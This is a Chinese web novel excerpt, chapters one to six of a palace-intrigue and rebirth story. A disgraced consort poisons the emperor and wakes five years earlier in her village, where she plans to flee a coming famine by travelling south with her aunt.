《稻花香里说丰年》 1. 出冷宫 《稻花香里说丰年》全本免费阅读 初雪,一夜未停。 篱箐宫偏殿,没有碳炉的屋内寒湿更甚,破损的木床与墙边角不全的矮桌,到是相配。 屋外寒风,顺着屋顶破败的瓦片挤进来,与屋内更凛冽的寒气接触后,逃跑似的从纸窗漏洞离开。 许知韵一身素色棉布裙,立于窗前,唯有发髻上的银簪隐隐绰绰,顺着漏窗望着篱箐宫宫门。 大翎的皇墙内,雪压弯了草木,压满了甬路,宫女太监们清扫着这场任性的初雪。 谁都没料想到这场雪会如此大,更没料想到南边的叛军像雪球一样,越滚越大,竟快打到翎国的国都。 寂静幽清的深宫,除了雪偶然压断树枝的声音,就是宫人一下一下的扫雪声。几名小太监步履匆匆,簇簇声格外刺耳,他们沿着刚清扫出的狭窄小路,向着皇宫西北角走去。 领头的程公公,是首领太监周吉公公的小徒弟,颇得青睐,跟着程公公办事定是有好处的。可程公公心里却打着颤,不知晓这趟差事是福是祸,不由地加快脚步。 推开篱箐宫的宫门,不出所料这里荒芜一片,无人清扫的院落,落满灰尘的房檐,并没有因一场大雪的抚摸而干净分毫,一点儿人气都没有,这里不是冷宫哪里是。 程公公吩咐身后的小太监清扫出一条路,便转身走到偏殿门前,深吸一口气,躬着身子道:“贵妃娘娘,陛下口谕。” “进来。”隔着残缺不全的偏殿门,程公公听出了殿内贵人的不悦。 甫一进门,贵妃娘娘的身姿便映入眼帘,纤细袅娜,淡漠冷清,丝毫没有理会他,程公公便识趣地低下头道:“陛下念及着与娘娘情分,复您贵妃之位,赐永兴宫给您住,奴才奉命给娘娘带路。” 半响无声,程公公刚想抬头看看,“好,走吧。”淡淡的语气从身边掠过。 一阵清冽木香缓缓从身旁滑过,晃过神的程公公赶忙跟上。 说是程公公来引路,不如说是这位娘娘自个熟得路。程公公紧跟着这位难以捉摸的主子,来之前周公公嘱咐要小心伺候。 要说贵妃娘娘可真是厉害人物,父亲是前兵部尚书,母亲更是忠勇候独女。当今陛下还是皇子的时候就嫁入王府为正妻。 虽说陛下登帝时,未封她为皇后,但也是盛宠不衰。之后因不满后位是她人,竟害死了皇后娘娘。 后宫与前朝盘根错节,紧密相关,皇后的娘家章氏乃是世家大族。全族请求陛下严惩贵妃,赐白绫以命抵命。 即便闹得如此大,这位贵妃娘娘的惩罚只是被褫夺封号,降为庶人,打入冷宫。 就在众人以为贵妃娘娘会在冷宫香消玉殒时,陛下竟还念着她,竟恢复贵妃过往所有殊荣。从冷宫到永兴宫,怕是后宫第一人。 跟着天子惦记的贵人,当是好差事。可这位娘娘名声似乎不太好,蛮横无理,杀害帝后。 程公公在宫里早已不是新人,早知盛宠不衰的贵妃娘娘是不可轻易得罪的。 听闻在娘娘入冷宫前,住在景泰宫,宫里伺候过的人全部受罚,要么杖毙,要么赶到西寒殿做苦力,唯有一个贴身伺候的宫女水月被罚到翻衣局做事。 说是被罚,可明眼人都知晓这是庇护。翻衣局虽说是浆洗缝补敝衣,有些辛苦,但对于那些想过二十五岁就出宫的宫女来说是最好的地方。 翻衣局的掌事戴嬷嬷严厉,却极为护崽。若是自个人犯错,必是按规处罚,若是其他宫人故意找事,她必是据理力争。 戴嬷嬷原是伺候过宜静太妃的,太妃生前仁厚慈爱,得众人爱戴,因此对于太妃身边的戴嬷嬷,大家伙儿不会太过为难。 不是关乎利益的重要的地方,无人想惹是非,就成了宫里的一方净土。 不少小官家女儿,亦或是哪位贵人看中为妾的宫女,想寻一处庇护到出宫,那翻衣局是不二选择。 不过想进翻衣局是不容易的,毕竟是萝卜坑,出去一个才能进来一个。 娘娘身边的宫女水月能不受罚,还能在翻衣局做事,想必是娘娘费了大心思的。 得了去冷宫接娘娘的差事,程公公就听出师父的意思,以后是要伺候这位娘娘的,便差人去翻衣局探探水月的口风,问问她是否愿意再跟着娘娘,可结果竟是“不愿”二字。 程公公觉得水月没良心,但一转念是否娘娘是个不好相与的,身边连个忠心之人都没有。 冷风搅动雪面打着一圈一圈地涟漪,似揪着程公公的心。 雪太大,宫人仅扫出一条小陉。眼前的娘娘身穿棉布裙迈着莲花步,深一步浅一步。 要说陛下厚爱娘娘,冷宫都让出了,可是连个轿撵都没赐,恢复殊荣的旨意也只是口头传达。都能理解,章家人可盯着呢,不好大张旗鼓地出冷宫。 陛下为了安抚章家,大翎的后位仍是章家的。章家早早就将小女儿章淑慎送进宫里学规矩,虽未行册封大礼,但宫里人心里早叫上皇后娘娘了。 思及此,程公公的心又冷了三分。往后的日子可不好过,这位皇后娘娘的脾气很大的,最难的是弑姐之仇如何能轻易算了。 盼着日后少遇见,可就是巧合。这位准皇后娘娘就瑶华宫门前等着,也不能说巧合,这般明晃晃挑衅就是故意等着贵妃的。 可去往永兴宫必然路过瑶华宫的,往后也是躲不过的。 程公公勉强地直了直腰板,日后跟着贵妃了,那准皇后就是敌人了,面对敌人可不能怯懦,自个儿先弯了腰。 瞧着眼前贵妃娘娘似乎还不知晓准皇后的事,程公公碎步上前低声道:”娘娘,章家送来小女儿进宫接掌凤印,前头儿的就是。” 许知韵听后只是淡淡地点了下头,章家小女儿?章淑华的妹妹? 准皇后章淑慎一身华丽宫装坐在玫瑰椅上,怒目地望向越走越近的仇人。 一个贵妃竟敢杀皇后,将自己的亲姐推下高墙。姐姐是和善的人,脾气太好了,竟被一个贵妃压制死死的,结果斗得命也没了,真是无用。 不过刚一听到许知韵被放出冷宫的消息,她就明白了仇人许贵妃不是善茬。 陛下对她有情,那又如何。不管是姐姐还是眼前这个许贵妃,年纪都比自己大。年华逝去,美貌不在,还能用什么去牵住陛下的心。 不可一世的许贵妃娘娘不过如此,一件素净的衣裙衬得脸色更加苍白,左右是比不过自己的。 < 2. 弑杀天子 《稻花香里说丰年》全本免费阅读 微微暖阳,晒化前几日的初雪。 永兴宫正殿的屋檐嘀嗒着雪水。难得的好天气,透着丝丝暖意让人困倦。 殿内,八角金丝炉里的银碳亮晃晃,檀香木博古架放满笔墨纸砚,墙上的独支荷花画作,更显风雅。 木桌前望着天的许知韵,身着雅致清新的白底交领小袄,深青色衣裙上绣着团团金蕊海棠,衬得她白皙如玉、柔肤弱体,泛白的唇色更惹人怜爱。 身旁的程公公被屋内的暖意扰的困倦,倚着雕花的屏风打盹。 与前几日的胆战心惊截然不同,现下程公公在娘娘身边当差是极舒心的,娘娘是极好伺候的主子。 娘娘话不多,吃食不挑剔,爱饮花茶,喜欢望天。 能亲力亲为的事绝不假手于他人,陛下赏赐的人都打发殿外干活,就留下程公公殿内伺候,其实也就端茶,布膳的活,这些天还总叫程公公去休息,不用在跟前伺候。有这样的主子,任谁都要说声阿弥陀佛。 雪珠在冬日的慰问下闪着光,从微弱到消失,像从未出现过。 陪伴许知韵几个时辰的太阳缓缓地落下,转头睨了一眼屏风旁打瞌睡的程公公,唇边扯出淡淡的笑,这周公公的小徒弟是岁数小长身体?这么爱睡觉。 火红的烟火在刚擦黑的夜空中绽放,一朵又一朵,红的任性,红的单一,仅仅七朵花便吸引了墙内人的驻足。 许知韵望的有些出神,簇簇的烟花等到了,也是时候了。 “程公公。”淡漠疏离的声惊到了打盹的人。 程公公赶忙站直,躬下身子回道,“娘娘可是要换杯茶。” 许知韵葱白纤细的手推倒了桌上的青瓷茶盏。 “彭—”宁静的殿内一声刺耳,吓得程公公跪下求饶,“奴才愚笨,让娘娘不开心是奴才的错。求娘娘别生气,气坏了自个。” 跪在那的程公公不知晓发生了何事,惹得眼前贵人不悦。 从冷宫出来,再到永兴宫,娘娘的脾气是一点没有,也没因陛下没露面生过气。这几日永兴宫天天有陛下的赏赐,明摆着说,陛下是在意娘娘的。 可眼前这是哪出啊,难不成是自己打呼噜了? 许知韵敛了笑意,“程公公的主子是谁?” “自是贵妃娘娘。”程公公捏紧袖口早已汗淋淋的手回着话。 许知韵饶有兴趣地起身,走向殿门口倚着门,衣裙上金丝绣边的海棠花,映着天边微弱的霞光,流光溢彩。 卷起的风夹杂着初冬的寒意,吹动许知韵的裙摆,黑夜定是会不期而至,这一日也该结束了。 许知韵淡漠的边往内室走去,边道:“程公公认我为主,却不知今日是本宫的生辰,连一碗长寿面都不备下,这永兴宫的差事当的真好。” 听到许知韵的话,程公公的汗又深了一层,娘娘生辰?例行的赏赐怎么宫里没按规矩送来? 因着娘娘仁慈和善,无欲无求的样子,这生辰的日子是当奴才的没记好,是错了,大错特错。 原本想着若是娘娘故意找些错处,回头求求师父就好,哪位娘娘看着师父的面上,总归会给些颜面的。 可这个不记得主子生辰的事可大可小,终究是自己的失误。什么惩罚都认下,算是一个提醒。 正要开口认罚,却被娘娘的话挡住。 “程公公要是不怪本宫无情,就去清扫鹿苑一个月,当作反省了,一个月后再回永兴宫当差。”坐在梳妆的铜镜前,许知韵严厉的说道。 被吓到的程公公脸色清白相间,但仍是伶俐的回话,“娘娘仁慈,奴才定好好反省,请娘娘允许奴才去膳房....” “不必了,去鹿苑当差吧。”许知韵急切的道,生怕方才的话不算数。 见是这种情况,程公公晓得是娘娘让自己赶快滚。便虔诚的磕了磕头道:“是”。 收拾了几件衣服就往鹿苑走的程公公,脸色煞白,倒不是害怕,而是不解。 按宫规,这种错误的总归是二三十板子的事,或是打入苦寒殿为下等奴才,再无伺候贵人的可能。可罚去清扫鹿苑的从未有过,一个月不长,还能回永兴宫当差,这算是很轻的处罚了。 程公公的脚步犹如千斤重,步伐越快越清醒,感觉贵妃娘娘这是要护着我,暂时赶出永兴宫明显是想把他摘出来,难道娘娘会出事。 思及此,程公公想转头回去,“唉!”一声叹息似是无奈,看娘娘就是个说一不二的人,不会收回适才说过的话,若是安排些事也定不会交给他来办,毕竟才跟着娘娘身边几天。 坐在百鸟朝凤梳妆台前,望着铜镜里的自己,许知韵莞尔,扶了扶发髻上的素银簪子。 暗夜到来前,微光弱显。 缓慢且沉重的步伐声渐渐清晰,许知韵松了一口气,可算等到了。 “阿韵,过来,吃碗面。”身着玄色阔袖暗纹蟒袍的俊美男子深沉道。 回到永兴宫后,便没再见到过的元修止,正用他那双骨骼分明的手从食盒中拿出一碗素面和一双银箸,放到楠木桌上,不紧不慢地坐下来。 都说女子如祸水,勾人魂魄。许知韵却晓得眼前的大翎帝王才是妥妥的妖精。 不施粉黛犹如戏子,美如冠玉,双瞳剪水,俏丽俊逸。千万别与他那双含情眼对视,很会勾人。 许知韵轻轻撇了一眼,便收回目光,冷冷地道:“奴才的活,都让陛下抢来做了。” 元修止料到眼前人是这个态度,没有丝毫不满:“好歹是你的生辰,图个吉利,也要吃碗长寿面。” “寿命的长短,可不是一碗面决定的。”许知韵绕道帝王身后淡淡的说。 话毕间,右手拔下素银簪,按下簪头机括,手掌长的粗针犹如鹰爪,直直地飞向帝王的喉咙。 鲜血顺着银簪,向下流入黑暗之中。许知韵是一刻都不想忍了,仇人就要早杀早了。 元修止捂着脖子,忍着痛道:“可解气?” 寂静的永兴宫,嘈杂声多了起来,火光渐渐聚集。 许知韵微唇轻启:“簪上有毒,你死定了,知道我会杀你,你还来见我。你又设了何陷阱等着我。” 蝴蝶散之毒,随血液流动,遍及全身,无药可解。 元修止唇角溢出黑血,瘫倒在华贵的地毯上,凝望着许知韵,如实地解答她的疑惑:“妖女...毒杀帝王,通...敌...卖国。” “好大的罪名。元修止,你可真看得起我。”许知韵有些不屑。 奄奄一息的元修止,微微喘着最后一口气。如此狼狈还这么好看,就是妖精,算计深且准,不能与这种人为敌,可惜晚了。< 3. 祈丰日 《稻花香里说丰年》全本免费阅读 祈丰日,祈求明年神仙保佑无旱无涝、无虫无病、粮食丰收,这样的喜庆日不在秋忙,而在大雪前,图的是润雪兆丰年。 这样的节日,城里不兴过。远在乡间的村落,却尤为重视。关乎吃食,靠着天赏饭吃的农民,春节可以不过,独独祈丰是不可错过。 热闹的程度不亚于元宵灯会,孩子们更喜热闹,三三两两玩闹,富裕的人家,在门前支起棚子施粥。 许知韵一身粗布衣,恍惚的走在熟悉的田间小路上。这条小路两丈宽,走了十多年,是文兴村到龙口镇唯一的路。 孩童们跑跳追逐,不管不顾地嘻笑。 许知韵心口却隐隐在痛,适才在镇里糕饼摊前愣神,被甜婆婆叫了好几声,缓了许久才清醒,踱着步子往村里走。 甜婆婆不姓甜,做的糕饼多是甜腻的,乡下孩子苦惯了,都喜爱甜的,便喜欢叫她甜婆婆。 许知韵也喜爱,银钱不允许,不能日日买来吃,生辰这日便可以多买些,吃糕长高高,平平安安。 祈丰日,吉祥日,也是许知韵的生辰日。兰姨总是夸她生辰好,定是一生平安顺遂的,许知韵原也是这样想的,现下摸摸心口,嘴角微皱。 在被几个孩童碰触后就否定了做梦的想法。太真实了,眼前的一切不是梦。 不禁想起叶尘游的话,“莲心木,可转时空,回到过往。你可懂时空之意?” “若是能回到过往,你想选哪一日?” “五年前,我生辰那日。” 怪力乱神的许知韵是从不信的,可如今眼前的一幕幕,不可思议,后背出的冷汗早已打湿布衣。 冰轮悬空,几点繁星闪烁。 过了李家挖的小池塘,就快走到村口了。 村里的热闹不减,家家挂起灯笼,摆个小香案,跪拜祈福。 “欣儿的新袄真好看,绣的是月季花,同真的一样。” 五六个高高矮矮的女娃娃,围着穿新袄的女娃如纵星捧月,清脆傲娇的嗓音不断入耳:“镇上绣坊的手艺,早一个月前我娘就定下的,今儿才上身。” 几个女娃娃皆面露羡慕,齐齐地称赞。 这一幕的的确确出现过,在五年前,许知韵的双手握得更紧了。 那一日,她高兴地买回糕饼,回村时遇到赵欣儿,被骂无爹无娘的可怜人,糕饼还被踩烂。 回去就把气撒在兰姨身上,说了一堆难听的话,质问兰姨为何偏偏自己没有父母。兰姨因此愧疚懊悔,便写信给在奉京当官的爹,之后就被接回“深渊”,享受了的五年心悬空紧绷的生活。 心中的暮气山河,似被雨水重新洗刷,刹那间鸟语花香。 赵欣儿依旧被簇拥着,抬头看到不远处傻站着的许知韵,见她手里拎着糕饼,嘴角上扬:“哟,快瞧瞧,这无爹无娘的人还过生辰呢,还吃糕饼呢?” “哈哈哈。”一阵阵的嘲笑声吵醒了愣在那的可怜人。 看到旧人,回到过往,许知韵眼角有些湿润,不过听到这些话就清醒了。 瞧着花枝招展的赵欣儿,村里的首富赵大壮的女儿。原本赵大壮也是面朝黄土背朝天的庄稼人,后来娶了个能干的媳妇,靠着做豆腐起家,他家的豆腐又嫰又滑,十里八乡出了名,得了个“一绝”的称号,能干的夫妻俩攒下了家业,成了村里的首富。 赵欣儿小脸微长,身子却偏圆润,不过人靠衣装,穿着华丽一些,有那么几分官家小姐的气质。 许知韵上下打量着赵欣儿,对于赵欣儿的话像听不见似的。赵欣儿有些发懵了,这要是以往说些关于爹娘的话,平时稳重的许知韵便会气得跳脚,“爹娘”二字便是许知韵的软肋。 “许知韵,你确定今儿是你的生辰,怕是你家兰姨框你吧。”赵欣儿不信这丫头片子不生气,那就多说几句。 还真是一如既往的黑心肝,哪疼戳哪。 许知韵往前走了两步,一屁股坐在泥土地上。抹着眼泪大哭起来:“你们就欺负我,骂我打我,笑话我没爹娘,又不是我的错,呜呜...” 眼前的几人顿时傻眼了,何时看过许知韵哭过,不对啊,何时打她了。互相望着,不知如何应对。 来来往往的纯朴村民,听着声就过来了,一边教训着仗势欺人的女娃娃们,一边扶起许知韵。 “这祈福的大日子,在这乱说话,回头告诉你们爹娘去。”刘婶子吓唬着年幼的女娃娃们。 几人听了,霎时间便跑了。 刘婶子一边帮着许知韵拍了拍身上的灰,一边道:“别听这几个女娃子瞎说,快家去。” 许知韵点头道谢,抹着脸上的泪花,快步往家走去。 弱者会被欺负的,同时也会被同情可怜,以前那宁折不弯的性子受太多苦了。 刚刚在赵欣儿不断嘲讽时,许知韵就看到刘婶子往这边走来,便不想自己动手解决这几个麻烦人。若是自己直接不理赵欣儿,怕是赵欣儿会更得意,纠缠的会更久。 刘婶子的出现恰巧可以解决麻烦,她小女儿绣嫁衣时,是找的兰姨教的,最时兴的花样子,哪是几个鸡子就轻易学到的,不过就是看兰姨好说话。 既然占了便宜,看到许知韵受欺负,刘婶子或多或少都会帮一下,再者赵欣儿虽跋扈无礼,但她父母是厚道,不会因为这件小事就仗势欺人。 在奉京混了五年,什么腌臜事没见过。像赵欣儿这种胡乱飞的蝇虫,还用不上刀。 不能让因几只蝇虫扰了路,许知韵不由地加快脚步。前世,许知韵的软肋被几只蝇虫嘲笑,毁掉兰姨所有的付出。真的回来了,许知韵暗暗道伤人的话就不能再说出口。 熟悉的小院子,袅袅炊烟。砍好的木头堆在角落,竹子栅栏里圈养着两只母鸡,米香悠悠,这样的好日子,前世的自己竟不知足,真是该打。 矮桌摆着两盘青菜,一盘炒鸡肉。灶台前的女子奋力地捞着粗面。热气糊着眼,看着不到四十岁的年纪,清眸透着温暖,眼底细纹增添了痕迹,却没能挡住女人的姿色。 望着心念念的兰姨,眼圈的泪又想跑出来,许知韵指尖掐着肉,告诉自己要忍住,让兰姨看出端倪就不好办了。 “兰姨,我回来了,村头可热闹了,你一会儿出去看看。”许知韵装着高兴的样子,说完做到矮桌前,打开糕饼吃起来。 “好,好。”兰姨将长寿面熟练的装入大碗中,笑盈盈端过来:“快吃长寿面,一岁一礼,寸寸欢喜,愿我们阿韵早得良缘。” 许知韵心里微颤,兰姨心底还是想给许知韵找个好人家嫁出去。前世的那些想要爹娘的狠话,确实让兰姨想告知爹真相,可最大的原因是想为许知韵找如意郎君。 村里的女娃,过及笄就嫁人了。许知韵都十四岁还没许人家,几年间,村里总会有媒婆上门,皆被兰姨笑着打发了。 许知韵打记事起就生活在文兴村。听隔壁的婶子说起过,兰姨是外来户,在镇上的绣坊做绣娘。后来里长的女儿嫁到镇上,出嫁前嫁衣出了问题,兰姨想法子给解决了。 里长上门道谢,兰姨听闻里长善良,文兴村村民纯朴。便带着年幼的许知韵落到村里,得了村里人的关照,安安稳稳地过十几年。 虽说兰姨没土地也不会种地,但凭借着刺绣的手艺,让许知韵生活得不错。 村里没几个女娃娃会被送到镇上的学堂,赵欣儿一个,还有一个就是许知韵。 赵欣儿家有钱,本可以到镇上置办房产,因对村里不舍,便没搬走。镇上一些富贵人家定豆腐时,会顺便定一些村里的新鲜蔬菜,大家伙儿都是感激赵家的。 4. 邱掌柜 《稻花香里说丰年》全本免费阅读 北风卷着寒意跳跃而来,不禁让人打着哆嗦。 坐在院子里的许知韵拢了下粗布衣衫。 回想着前世,初雪在这一年来得晚,雪也只下了几场,雪水缺少,来年大旱,蝗虫肆虐,粮食欠缺,饥荒严重。 看来这一世回来,首要解决的事就是平安度过明年的粮荒。 前世过了生辰后不久,奉京来的亲爹就来接许知韵回许府了。 这一世,许知韵的那些如刀般的话没刺向兰姨,兰姨没因愧疚写下那封信,奉京的亲爹不知晓这世上还有一个女儿。 那些糊涂事还未做过,那些好友还未相识,那些痛心的事还未发生。 甚好,一切来得及,好好应对就好。 文兴村里大多是纯朴的庄稼人,肯卖力气,自家秋收刚过不久,家家户户的粮食还是够吃一年的。但若明年颗粒无收,怕是再朴实的农户,为了一家老小的吃食也会动些歪心思。 眼前的屋舍,低矮的院墙,两个柔弱的女子,无疑是最先挨欺负的。即便里长公正严厉,也很难阻挡。 前世这场旱灾饥荒没有亲眼见过,那时已被接回许府,日日被请来的嬷嬷教规矩,休息时略略听些外院婆子闲聊,才得知奉京周边几个村子的百姓过得地狱般的日子。 卖儿卖女,打家劫舍,官员沆瀣一气,迟迟不报,难民太多,为了活下去才逃到奉京,朝廷才开始拨款拨粮,派兵镇压。 当时吃着粳米燕窝粥的许知韵,心里还庆幸回到许府,安慰自己住在高门大院里没受饥饿之苦。 那时并不知高门大院才是吃人的地方,犹如活剐般的痛苦。 文兴村是不能再住了,奉京的许府更不能自投罗网前去。去南临,恰巧有一个机会能安全的过去。 南边雨水充沛,来年的旱灾没受多大影响。周边的难民大多去天子所在的都城奉京,并未往南边去,南边算是安稳的。 还有,硕北在南临,不知他现下如何了。 理出思绪的许知韵,起身走进屋内去找兰姨。 过了两日,朝阳初升,薄霜轻覆,二人便去了镇上的绣坊。 许知韵打算自己去的,兰姨不放心就同她一起,嘴上说是顺道送绣活的。 兰姨在绣坊呆了十几年了,手艺高超,东家信任她,不怕兰姨偷换好的料子,许了她不需在店里干活,回家绣也是一样的。 绣坊在镇上小有名气,绣品技艺难以模仿,时兴的新样子多,倍受年轻姑娘的喜爱。 跟着兰姨从后门走进绣坊,许知韵熟门熟路地去了后院,跟看门的大娘打了招呼,便被领进掌柜见客的房间。 房内宽敞亮堂,香气隐隐,墙上挂着各式各样的绣样,有展翅高飞的鹰在振臂高呼,有活灵活现金鱼,有幽远的高山层层叠叠。 适才领许知韵进来的大娘,疑惑不满印在脸上,碍于兰姨的面子才对许知韵客气一下,不过连盏茶水都没奉上。 没等上一刻钟,悉悉卒卒的脚步声渐响,人未到声先起。 “哎呦,我的儿,小没良心的,许久没来看我了,早忘了我吧。”绣坊邱掌柜走了进来,身着深红的袄裙,高耸的发髻上簪着金步摇,熠熠生辉,脸上浓浓笑意,带着眼角的皱纹深了几分。 许知韵连忙站起,扶了一礼,笑道:“忘了谁都不会忘了邱姑姑,见邱姑姑一面能高兴地多吃两碗饭。” “还是阿韵嘴甜。”邱掌柜爽朗地笑着,看了眼无茶水的桌子,不满地道:“外面的,端壶好茶来,没个眼力见的。” 外面的婆子进来倒了茶水,便悻悻离开。 茶味清香弥漫了整个房间,邱掌柜吃着茶睨了眼许知韵,看她轻拈茶碗,似乎真的是在品鉴着茶的好坏。 眼前的小姑娘也就十四岁,素面的粗布袄子穿上倒是更有兰花般清雅的气质。小小年纪稳当的很,岁月匆匆,女娃子长大了。 十几年前,十九岁的阿兰带着襁褓里的女娃,风尘仆仆上门来求一份工。 当初也是看在阿兰的绣工好,便允了她上工时带着娃娃。 问起孩子爹娘,说是替过世的恩人夫妻俩养着的,看阿兰知书达礼老实的模样也就信了。 好在阿兰很识趣,本本分分的干活,不耍滑头,带着的女娃不哭不闹的,没影响店里的生意,就放下心继续雇用。 那个女娃渐渐长大,虽长相与阿兰不太相似,但那通身的气韵真真相像,才发觉两人或许是母女。 事事无常,谁家还没有个秘密,只要不惹事,邱掌柜并不在意,也无意戳穿。 这个女娃从小话不多不调皮,平时亲热的叫着叔叔婶子,只道孩子乖巧懂事。长开后的模样更是清秀,偶尔几句好听的话会惹得店里的伙计嘿嘿乐。 要不说岁月糊人眼,十几年前的娃娃长成如今亭亭玉立的模样。 邱掌柜喜爱这孩子,但如今这架势不会是替兰娘子提涨工钱的?合理些还好,就怕她提出些过分的要求。 这头的许知韵的确认真的品着茶,觉得差些味道,前世不知是何时便喜饮花茶,甜甜腻腻的多好。 眼角瞥见邱掌柜时不时投来的目光,有些想笑。 许知韵打心底感谢邱掌柜,若不是她的收留,也不知兰姨带着年幼的自己能不能安稳地活下去,同时她更佩服身为女 5. 今朝醉 《稻花香里说丰年》全本免费阅读 冬日的暖阳格外亮,照进屋内,金线绣的样品轮换着闪烁。 “邱姑姑,兰姨与我想去南临的绣坊学学本事。”许知韵直言道。 “咳,咳,咳…”邱掌柜忙用帕子捂住口,这般失态,喝口茶水还呛到,不就是个小丫头,怎还有些不自在。 咳嗽声打断了许知韵的话,“邱姑姑慢些,是阿韵唐突了。”许知韵站起身轻抚着邱掌柜的背,关切道。 “咳咳,不会,好孩子,坐下说。”以为这孩子一本正经的认真模样要说甚大事呢,原是打算去南临。 绣坊的生意做大了,还有那相邻州县过来定衣料的官家小姐。邱掌柜是打算将铺子一家一家开下去,最后是要开到奉京城的。 这二三年便与南临的绣坊多了往来,南临的绣品是顶好的,大多是供给皇室的。 物以稀为贵,高门大户的官家小姐夫人,富贵的商户便对南临的绣品爱之如宝。 为了能学到南临时兴的新样子与新的绣技,邱掌柜与南临一家铺子定了规矩,一整年的布匹料子全从他家购入,每年年前可派几个绣娘去南临学些新技艺。 前两年邱掌柜都想让兰姨跟着去,兰姨手巧人本分,学些新样子定会全数教给其他绣娘,不会藏私的。 可兰绣娘不愿的,她不放心许知韵一人在村里,便次次婉拒了。 今年便没再去问兰绣娘,没想到阿韵这孩子替兰绣娘想通了。 可去一个人的费用是不小的,吃食住宿都需银子。况且本事学回来是要在绣坊用得上的,可阿韵这孩子不是绣坊的绣娘,白白占了个名额,可是不妥的。 邱掌柜面上稳定思绪,心里是拒绝此事的。不忍开口拒绝这孩子,可一旦让阿韵去了,那这口子可就开了,往后谁家的娃娃都想去了。 邱掌柜张了张嘴:“阿韵,此事不小,还需要再商定。”看着眼前的孩子,张口拒绝的话都到嘴边了,却说不出来。 今日阿韵这孩子好像变得更沉稳些,姿态雍容,神态淡雅,倒像是个官家夫人,不似个女娃。 听锣听声,听话听音。 刚刚就扫了几眼邱掌柜,从不安犹豫到进退两难的情绪,一帧不落的全入了许知韵眼里。 兰姨是能顺利去上的,让邱掌柜左右为难的是自己。 为难很正常,自己不是绣坊的人,学了本事回来也对绣坊无好处。还有绣坊的绣娘年岁都不大,个个都想去,想瞧瞧南边的热闹,最重要的是能学些绣技,这可是能学到手的本事,回来后邱掌柜还会加些月钱。 南临风景秀丽,且四季如春,沿途美景无数。这等好事,往年都是抢破头的。 但没法子,要想去南临目前只有邱掌柜这条路最便宜。 去南临路途遥远,绣坊派车去会跟着赶车的好把式,且都会些功夫,比自己找车去要便宜多,最主要的是安全。 这也是许知韵的考量,省了路费,又能安全抵达,还省了找路引这些麻烦事。 不等邱掌柜再次拒绝的话出口,许知韵从袖子里拿出这两天绣的帕子,递给秋掌柜,语气谦虚地道:“跟着兰姨学了好些年,没有那出神入化的绣工,只是学些皮毛,拿来请邱姑姑过目。” 帕子上绣的是一朵粉红的芍药,针脚细密是极好的。 邱掌柜含笑道:“绣的不错,不愧是兰绣娘教出来的。”听说阿韵这孩子古诗背得不错,倒是不知晓她女红也是不错的,可是这水平在绣坊里算一般,比她好得比比皆是,年龄小能理解。 说罢就想放下帕子,许知韵伸手将帕子翻过去,那朵芍药花背后竟然是...是一个肉包子。 邱掌柜忍不住笑出了声,又赶忙将帕子拿起,有些激动地道:"你能绣出双面绣,难得还是不同的图案,是我眼拙了。" 许知韵起身行礼,诚恳道:“阿韵知晓邱姑姑的为难之处,兰姨不许我来绣坊做工的,要不我早就来了,能得个邱姑姑这么好的东家是上辈子修来的福气。” “兰姨盼我有出息,可我知自己本事不大,若能有个一技之长也好安身立命。” “好孩子,快起身。”邱掌柜连忙扶起许知韵,心里很是伤感,若自己的孩子还在,或许也是这般大了。 “好,你小小年纪就习得双面绣,还是不要浪费了才华,你和兰姨都去南临好好跟人家学。”想来这孩子学成了本事,就算不在绣坊上工,绣活也只能在绣坊里出卖,那样对绣坊名声也有好处。 这样看也不亏,还能在阿韵和兰绣娘心里落个好。 得了邱掌柜的准话,许知韵便和兰姨回家收拾包袱。 虽说去南边的人早就定下了,至于占了谁的名额,就不关许知韵的事了,若是有真本事便不会被占掉。 也是没法子的事,顾得了她人就顾不上自己了。 一连忙了几日,兰姨也收拾好了两人的包袱。 看到兰姨将养着的鸡卖给刘婶子时的不舍,许知韵心里也是不好受。 可不得不这样做,许知韵没打算再回文兴村。上辈子有些事没做好,这辈子重来一次定是要好好完成的,哪怕再难也要顺利翻案,废太子通敌叛国案。 太多人为了子虚乌有的事没了性命,太多人游走在危险的边缘只为翻案,那就再加上一个微弱的自己,再小的火光汇聚在一起也是耀眼的光芒。 干裂的风,吹打着栅栏旁的树,早已掉光叶子的枝条狠狠地摇摆,想脱离主干的束缚。 许知韵坐在炕边,腿上放着几本发黄的书。少女的柔荑轻抚着书页,满脸的轻笑。 书页有些泛黄,边边角角却工整,皮革严实的包裹着三本书。 这书由何处得来,许知韵记忆犹新。 差不多十年前了,那天热的如下火般,烈日炎炎,热得虫鸟都熄了声。 兰姨平时都是带着许知韵去绣坊,那天却热得厉害,本就体弱的许知韵更受不了大太阳,兰姨便将许知韵一人锁在家,让邻居婶子看顾着也就放心了。 邻居婶子隔着矮栅栏,边干着手里的活计,边看顾着在那边玩土的许知韵。 许知韵玩得有些累了,便跑过去跟婶子说去睡会。 躺在炕上翻来覆去地也睡不好,不到一刻钟就起身了。隔壁的婶子以为许知韵睡了就放心地进屋干活去了。 许知韵坐在院子里看了会天,等着兰姨回来,这时咚咚 6. 远山哥 《稻花香里说丰年》全本免费阅读 初冬的早晨,薄霜覆盖着大地,冷风乍起,吹的人瑟瑟发抖。 从屋外回来的兰姨打着冷颤,取了些干柴添进灶台里,在炕沿的木桌旁坐下。 桌上摆着两碗小混沌,一碟子萝卜丝。 往常兰姨是很在意吃食的,顿顿有鱼或是肉,因要去南临了,忙的紧,吃的也就简单些。 虽说食不言寝不语,在村子里是没这些规矩。只是心不在焉的兰姨默默地用着饭,心里却翻江倒海。 自那日许知韵提议去南临,还当着她的面绣了双面绣的帕子,兰姨的心就没静过。 她发现阿韵更加黏着她了,总是望着她笑。可偷偷瞧过去时,阿韵的脸上一丁点笑模样都没有,只是神情淡淡的,更加不爱说话了。 突如其来的改变让她难以适应,可这疑问却是不敢言明。她总觉得阿韵的改变因着她,难道阿韵知晓真相了,亲生母亲就在眼前,但又觉得自己没露出破绽。 心里越纠结越慌,就更不敢说出真相,更怕坦白后不知如何面对自己的孩子。 索性兰姨暗暗决定不问也不说,既然阿韵想去南临就去,只要在她身边守着就好。离奉京城远点也好,就是耽误阿韵的婚事了。 正午,阳光撒了下来,带来了丝丝暖意。 兰姨想着去隔壁邻居李家看看,说好要替人家看屋子的,谁成想自己家也要出远门了。 隔壁是李大哥一家,一家子心善,许知韵得了好些照顾。 李家两口子心慈,刚搬来时,就帮着清扫房舍,教兰姨种菜。 他家有个比许知韵大两岁的男娃,叫李远山,长得壮实憨厚,天生力大,说他三岁时便能扛起锄头种地。 许知韵见到过李远山后,就觉得李家婶子瞎说,那个豆丁大的男娃能扛起一人高的锄头? 